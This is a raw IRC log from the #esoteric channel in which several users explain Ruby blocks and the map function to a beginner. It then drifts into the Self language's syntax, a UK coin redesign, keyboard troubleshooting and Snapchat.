1395207680 184053 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Bike: Ruby blocks can be passed to a method in such a way that they aren't a real argument but instead you call yield to call it < 1395207691 223510 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :iirc < 1395207692 461202 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :Sgeo: hoping that's irrelevant. < 1395207715 858461 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :It's the more common way to do things that want a single callback etc. < 1395207781 762071 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :as a simple example in another language which might just totally confuse you, "map" takes a function as an argument, and "runs" it on each element in a list. [1,2,3] is a list, and (\x -> x * 10) is an anonymous function (like a ruby block): < 1395207791 107383 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :> map (\x -> x * 1) [1,2,3] < 1395207791 518831 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't disambiguate name: Effects.Env.::, Data.HVect.::, Prelude.List.::, Data.Vect.Quantifiers.::, Prelude.Stream.::, Prelude.Vect.:: < 1395207792 697460 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : [1,2,3] < 1395207804 781144 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :> map (\x -> x * 10) [1,2,3] < 1395207805 89731 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't disambiguate name: Effects.Env.::, Data.HVect.::, Prelude.List.::, Data.Vect.Quantifiers.::, Prelude.Stream.::, Prelude.Vect.:: < 1395207805 764170 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : [10,20,30] < 1395207840 991792 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :map has two arguments, the function and the list. these both get names when you're writing the definition of map < 1395207844 18817 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :?src map < 1395207844 121491 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :map _ [] = [] < 1395207844 223952 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :map f (x:xs) = f x : map f xs < 1395207856 701029 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :ruby has map!! < 1395207880 243016 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :yeah, lots of languages do. it dates from the 1950s or 1370s or whatever < 1395207885 157333 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :so that's where you'd just add values or keys? < 1395207885 260852 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :so when you call map you can pass in a ruby block and a list < 1395207886 336229 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :very useful function < 1395207899 234006 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :BeingUntoDeath: uh, maybe you're thinking of the wrong kind of map. < 1395207899 288552 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :with .map? < 1395207905 878542 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Map has two different meanings < 1395207908 532640 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :(Or more) < 1395207911 871818 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :lol. < 1395207916 210957 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :You stumbled onto a different meaning < 1395207922 41390 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :but good news... they're also related < 1395207925 33840 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :everything is related. < 1395207932 120343 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric ::O :O news to me. < 1395207934 590659 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :we are all together < 1395207940 183625 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :we're well on track to give you an esoteric answer < 1395207948 115358 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :so, take newsham's thing, that multiplies by ten < 1395207951 712247 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :My math teacher once accidentally made some gesture that was swearing at me when telling me that everything's related < 1395207959 477858 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :the "keys" are [1,2,3] and the "values" are [10,20,30], see. < 1395207989 864368 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :is there a bot here that does ruby? < 1395208023 640985 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :newsham, your example helps conceptually, thank you. < 1395208035 621951 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :even though it's not in ruby-eeze at all. < 1395208036 533138 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :in ruby: [1, 2, 3].map { |n| n * 10 } < 1395208045 672521 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :ACTION vaguely wonders if Self works on Cygwin < 1395208047 294235 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :!interp ruby < 1395208047 621352 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :aha!! < 1395208051 848552 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :no? oh well. < 1395208059 978088 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :okay. < 1395208061 567518 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :that's ruby... < 1395208069 7344 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :what is the |n| in that statement? < 1395208073 142888 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :an argument. < 1395208078 320709 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :er, a parameter. < 1395208080 870376 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :!!! < 1395208084 50509 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :that says that |n| receives an incoming argument in that block < 1395208091 581129 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :o.o < 1395208100 840811 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :map calls that block three times, once with n set to 1, once n=2, once n=3 < 1395208121 724121 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :so n is just a variable? could be anything? < 1395208133 34218 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :its what the caller provided as an argument < 1395208147 519614 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :so... that just makes a list n = [1,2,3]? < 1395208151 817519 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :er... < 1395208165 405009 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :10.times.each < 1395208167 403430 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :lol. < 1395208167 588603 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :no, n is an element. that's what map does. < 1395208172 403939 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :map builds up a list of [f(1), f(2), f(3)] where f is the block < 1395208175 552277 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :n is one, the first time that { |n| n * 10 } is called. The second time, it's 2 < 1395208180 109379 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :the third time, it's 3 < 1395208189 743400 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :so n is an array? < 1395208194 511054 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :i'm just going to stop talking, enough people are doing so as is. gotta concentrate anyway < 1395208203 990944 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :thank you for everything bike. < 1395208216 251431 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :In this case, all three times, it will be just a number. < 1395208224 152349 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :[1, 2, 3] is the array < 1395208225 791306 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :when map calls f(2), n is set to 2 and the block returns 2*10 = 20 < 1395208226 942768 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :right! < 1395208242 130703 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :ohhhh. < 1395208302 144533 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Huh. Self has object literals. < 1395208319 468500 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :in ruby? < 1395208327 296487 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :i'm not to understanding .self yet. < 1395208327 517948 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :BeingUntoDeath: I'm talking about an entirely different language < 1395208330 533193 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :So ignore my ramblings < 1395208352 532138 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :alright. thanks for your help. < 1395208388 968434 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :note: you can also just define a procedure in ruby called f taking an argument n which returns n*10 < 1395208406 391253 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :passing in that procedure would give the same results as passign in the block { |n| n * 10 } < 1395208443 36982 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :http://tigergenome.org/ i love the future < 1395208447 860260 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :if i knew ruby syntax better icould even show you what that would look like ! ;-) < 1395208544 418321 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Bike: the future is people splicing it into human embryos < 1395208575 975835 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :congratulations your child has white fur and also strabismus < 1395209011 454983 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :"and, more generally, that a slot initializer may not refer to any textually enclosing object literal." < 1395209014 456658 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :This makes me a bit sad < 1395209043 125859 :Froox!~Frooxius@cust-101.ktknet.cz QUIT :Ping timeout: 255 seconds < 1395209063 396773 :Frooxius!~Frooxius@cust-101.ktknet.cz JOIN :#esoteric < 1395209310 177489 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk QUIT :Ping timeout: 252 seconds < 1395209990 487214 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :ooh < 1395209997 53244 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :3 + 4 * 7 is illegal in Self < 1395210043 638898 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :ooh < 1395210050 337777 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :self being the original OO language? < 1395210051 815849 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :5 min: 4 max: 7 < 1395210067 103598 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :That's a message to 4 and a message to 5 < 1395210076 363766 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :In Smalltalk it would be just a message to 5 < 1395210085 939635 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :5 min: 4 Max: 7 would be just the one message to 5 < 1395210088 419851 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :(in Self) < 1395210110 463532 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :newsham: I think that's more Smalltalk, although I think others came before it < 1395210114 141125 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Self is prototypical OO < 1395210124 977944 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :prototypal < 1395210126 420983 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :whatever < 1395210177 51138 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :"The association order and capitalization requirements are intended to reduce the number of parentheses necessary in Self code." < 1395210190 196240 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Oh god I can imagine incompetent programmers having large hard to read lines that abuse that < 1395210212 47114 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :oh, simula is what i was thinking of < 1395210235 83000 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :i am making a table for filling in malbolge memory < 1395210241 637787 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk JOIN :#esoteric < 1395210241 694163 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk QUIT :Excess Flood < 1395210243 161828 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :so you dont have to use crz < 1395210384 922849 :Sellyme!~Sellyme@irc.sellyme.com JOIN :#esoteric < 1395210512 998458 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :ACTION wonders if the Self lobby can be hidden/overrridden to serve as a sandboxing mechanism < 1395210554 839693 :password2!~password@197.78.142.207 QUIT :Ping timeout: 252 seconds < 1395210662 737471 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :"behavior that allows an object to behave like a block that evaluates to that object (this permits a non-block object to be passed to a method that expects a block)" < 1395210663 844284 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :eww < 1395210752 818661 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Ping timeout: 252 seconds < 1395210808 855765 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :so you guys program in these crazy languages for fun? < 1395210853 918279 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :yeah. don't use as to cosign ur leases < 1395210876 469346 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :i'm just waiting for a scout to discover me and pay me the big bucks to program in crazy languages < 1395210887 213778 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :sweet man. lol. < 1395210942 27426 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :at my day job i use matlab. so like, rock and a hard place here, yeah? < 1395210959 843466 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :surely you can do something ridiculous with matlab < 1395210970 818358 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :you don't even know. < 1395210978 604859 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :ooh, I like exitValue < 1395210987 668959 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :http://www.thenewsh.com/~chat/j/XPrelude.java < 1395211025 755052 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :(I think I just like anything that makes return-like statements without being in a method more sensible. Although I think people generally hate early returns, so...) < 1395211086 842819 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :"traits number defines behavior common to all numbers, such as successor, succ" < 1395211091 696851 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :ACTION cries a bit inside < 1395211125 26841 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :what did you do when you watched like, schindler's list? die? combust? < 1395211127 138530 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :making debrujin succ less < 1395211465 289454 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395212032 439523 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1395212339 258673 :Bike!~Glossina@75-175-102-28.ptld.qwest.net QUIT :Quit: good day < 1395212586 125292 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395212631 967002 :Slereah_!~jackal@80.10.161.133 JOIN :#esoteric < 1395212755 429806 :Slereah__!~jackal@80.10.161.178 QUIT :Ping timeout: 264 seconds < 1395212850 38938 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 255 seconds < 1395213636 686819 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Ooh, a dodecagon-shaped coin. (Though I'm not entirely sure why a Finnish newspaper bothers to put a UK coin redesign proposal on its front web-page.) < 1395213822 458243 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :err, seriously? all UK coins have an odd number of sides, because they have constant diameter (to be easier for vending machines to check) < 1395213853 542559 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :also, the UK mint makes coins and banknotes for a huge number of countries, I think just because they got good at it < 1395213864 656253 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :http://www.bbc.com/news/uk-politics-26632863 is what they linked to. < 1395214192 191767 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :hmm, in the Hacker News comments about this blog post of mine, someone mentioned removing stack frames using a negative argument to alloca < 1395214213 108688 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I guess it's hard to stop people finding ways to implement INTERCAL functionality in C < 1395214361 2941 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Also, this article about the popularity of different first names says that (paraphrasing) "the popularity of most names over time follows a Gauss curve, with peaks occurring usually every 100 years", which makes no sense, because there's only one peak. < 1395214411 649674 :itsy!~john_metc@87.112.13.30 QUIT :Read error: Connection reset by peer < 1395214536 198849 :MoALTz__!~no@user-5-173-181-155.play-internet.pl JOIN :#esoteric < 1395214712 792270 :MoALTz_!~no@user-109-243-244-185.play-internet.pl QUIT :Ping timeout: 252 seconds < 1395215172 101780 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net QUIT :Read error: Connection reset by peer < 1395215184 591440 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net JOIN :#esoteric < 1395215322 997865 :Slereah_!~jackal@80.10.161.133 QUIT :Ping timeout: 264 seconds < 1395215430 920239 :Slereahphone!~slereahph@80.10.161.169 JOIN :#esoteric < 1395216364 343329 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com QUIT : < 1395216385 106576 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1395216419 923751 :Slereahphone!~slereahph@80.10.161.169 QUIT :Remote host closed the connection < 1395216497 80274 :Slereahphone!~slereahph@80.10.161.169 JOIN :#esoteric < 1395216845 72369 :Slereahphone!~slereahph@80.10.161.169 QUIT :Remote host closed the connection < 1395216897 318374 :Slereahphone!~slereahph@80.10.161.169 JOIN :#esoteric < 1395217251 750934 :Slereahphone!~slereahph@80.10.161.169 QUIT :Remote host closed the connection < 1395217270 888546 :Slereahphone!~slereahph@80.10.161.169 JOIN :#esoteric < 1395217544 147062 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net QUIT :Read error: Connection reset by peer < 1395217557 290202 :TodPunk!~Tod@50-198-177-186-static.hfc.comcastbusiness.net JOIN :#esoteric < 1395219318 385034 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1395221054 511119 :MoALTz__!~no@user-5-173-181-155.play-internet.pl QUIT :Quit: brb < 1395221068 68271 :MoALTz!~no@user-5-173-181-155.play-internet.pl JOIN :#esoteric < 1395221619 374366 :password2!~password@197.78.142.207 JOIN :#esoteric < 1395222063 597611 :Slereahphone!~slereahph@80.10.161.169 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1395222140 259120 :Slereahphone!~slereahph@80.10.161.169 JOIN :#esoteric < 1395222506 777699 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Hm, the ctrl key is stuck down. < 1395222657 262170 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I'm surprised that I can write this. < 1395222739 415053 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Heh, I fixed it by starting the on-screen keyboard program and holding down its ctrl key. < 1395223472 520934 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395223614 347433 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :that… what? < 1395223623 400996 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :is it stuck as in physically stuck down?# < 1395223627 369877 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395223628 674412 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395223633 133324 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :or just that it registers as being constantly pressed? < 1395223643 879289 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :you can often fix the latter problem just by pressing both Ctrl keys on the keyboard a few times < 1395224213 593182 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :In this USB day and age, I've fixed an entirely confused keyboard once or twice by dis- and reconnecting it. < 1395224240 157641 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1395224341 634908 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Incidentally, I wonder if there's something in MPX (multi-pointer X) that'd make it possible "in general" for you to have, in addition to independent mouse pointers, also several independent keyboards with their own input foci. < 1395224575 595604 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I can see that massively confusing window managers < 1395224819 967541 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"MPWM is a proof-of-concept, not a real window manager. It's lacking most features that you'd expect from a window manager so don't use it in production. Or on your desktop. Or really anywhere." < 1395225992 713124 :Slereahphone!~slereahph@80.10.161.169 QUIT :Remote host closed the connection < 1395226011 329338 :Slereahphone!~slereahph@80.10.161.169 JOIN :#esoteric < 1395227204 476533 :boily!~boily@96.127.201.149 QUIT :Quit: GALLUS GALLUS GALLUS < 1395229244 327883 :ion!ion@heh.fi PRIVMSG #esoteric :Most Helpful Reply http://answers.microsoft.com/en-us/windows/forum/windows_xp-performance/error-message-revocation-information-for-the/1a6559d4-f45a-442a-b1c4-6844f9cd447b < 1395229718 324685 :impomatic!~chatzilla@87.112.13.30 QUIT :Ping timeout: 240 seconds < 1395230173 252828 :Slereahphone_!~slereahph@80.12.100.217 JOIN :#esoteric < 1395230323 357178 :Slereahphone!~slereahph@80.10.161.169 QUIT :Ping timeout: 264 seconds < 1395230324 238752 :Slereahphone_!~slereahph@80.12.100.217 NICK :Slereahphone < 1395230474 397869 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395230538 786180 :Froox!~Frooxius@cust-101.ktknet.cz JOIN :#esoteric < 1395230555 368101 :Frooxius!~Frooxius@cust-101.ktknet.cz QUIT :Read error: Connection reset by peer < 1395230674 134858 :lexande!arapp@terpsichore.ugcs.caltech.edu QUIT :Read error: Operation timed out < 1395230822 319261 :lexande!arapp@terpsichore.ugcs.caltech.edu JOIN :#esoteric < 1395231253 124715 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1395231375 442548 :Slereahphone!~slereahph@80.12.100.217 QUIT :Remote host closed the connection < 1395231419 353639 :Slereahphone!~slereahph@80.12.100.217 JOIN :#esoteric < 1395232868 288681 :Slereahphone!~slereahph@80.12.100.217 QUIT :Remote host closed the connection < 1395234462 681546 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :Read error: Connection reset by peer < 1395234679 345870 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Ping timeout: 264 seconds < 1395235792 360953 :Slereahphone!~slereahph@80.12.100.217 JOIN :#esoteric < 1395237049 582934 :shikhout!~shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395237225 306374 :Slereahphone_!~slereahph@90.84.145.99 JOIN :#esoteric < 1395237271 376845 :Slereahphone!~slereahph@80.12.100.217 QUIT :Ping timeout: 264 seconds < 1395237282 752893 :Slereahphone_!~slereahph@90.84.145.99 NICK :Slereahphone < 1395237354 282745 :password2!~password@197.78.142.207 QUIT :Read error: Connection reset by peer < 1395237834 191533 :shikhout!~shikhin@unaffiliated/shikhin QUIT :Read error: No route to host < 1395237876 287938 :shikhout!~shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395239289 3637 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :It amuses me tremendously that many people have an app on their phones that send messages that will self-destruct in 5 seconds < 1395239293 782472 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :And then use it for selfies < 1395240092 169840 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1395240834 849125 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1395240852 713040 :Slereahphone!~slereahph@90.84.145.99 QUIT :Remote host closed the connection < 1395240868 360994 :Slereahphone!~slereahph@90.84.145.99 JOIN :#esoteric < 1395241418 275700 :impomatic!~chatzilla@87.112.13.30 QUIT :Ping timeout: 240 seconds < 1395242160 244524 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Disconnected by services < 1395242162 862594 :shikhout!~shikhin@unaffiliated/shikhin NICK :shikhin < 1395242227 663228 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395242689 738909 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1395242696 154663 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Ping timeout: 246 seconds < 1395243255 171357 :Bike!~Glossina@75-175-102-28.ptld.qwest.net JOIN :#esoteric < 1395243339 636798 :ais523!~ais523@unaffiliated/ais523 QUIT : < 1395243942 254501 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1395244720 63140 :shikhin!~shikhin@unaffiliated/shikhin QUIT :Read error: No route to host < 1395244720 168798 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395244772 358549 :shikhout!~shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395245055 88457 :shikherr!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395245191 546675 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION skips the rest of log reading today < 1395245227 344854 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395245229 350268 :shikherr!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395245243 565920 :shikherr!~shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395245247 827913 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :nooooo < 1395245249 405017 :shikhout!~shikhin@unaffiliated/shikhin QUIT :Ping timeout: 254 seconds < 1395245321 22606 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :but i have too many tabs open already :( < 1395245336 878352 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :and too little time. shaving -> < 1395245580 488266 :shikherr!~shikhin@unaffiliated/shikhin NICK :sortin < 1395245612 169206 :sortin!~shikhin@unaffiliated/shikhin NICK :shikhout < 1395245689 278743 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Ping timeout: 240 seconds < 1395245995 357564 :nooodl!~nooodl@93.124-242-81.adsl-dyn.isp.belgacom.be JOIN :#esoteric < 1395246733 148651 :Slereahphone!~slereahph@90.84.145.99 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1395247238 423199 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Taneb: selfies and dick pics (or are those a kind of selfie?) < 1395247286 46286 :FireFly!~firefly@oftn/member/FireFly QUIT :Excess Flood < 1395247321 665252 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I'd say those are another kind of selfie < 1395247361 52469 :FireFly!~firefly@oftn/member/FireFly JOIN :#esoteric < 1395247437 130592 :jconn!~va@1-130.ipswich.cc.colocall.com QUIT :Ping timeout: 255 seconds < 1395247634 226335 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :snapchat is a rare example of a product with DRM-like features that are actively desired by the user < 1395247709 65636 :Slereahphone!~slereahph@90.84.145.99 JOIN :#esoteric < 1395247730 322005 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Disconnected by services < 1395247733 909136 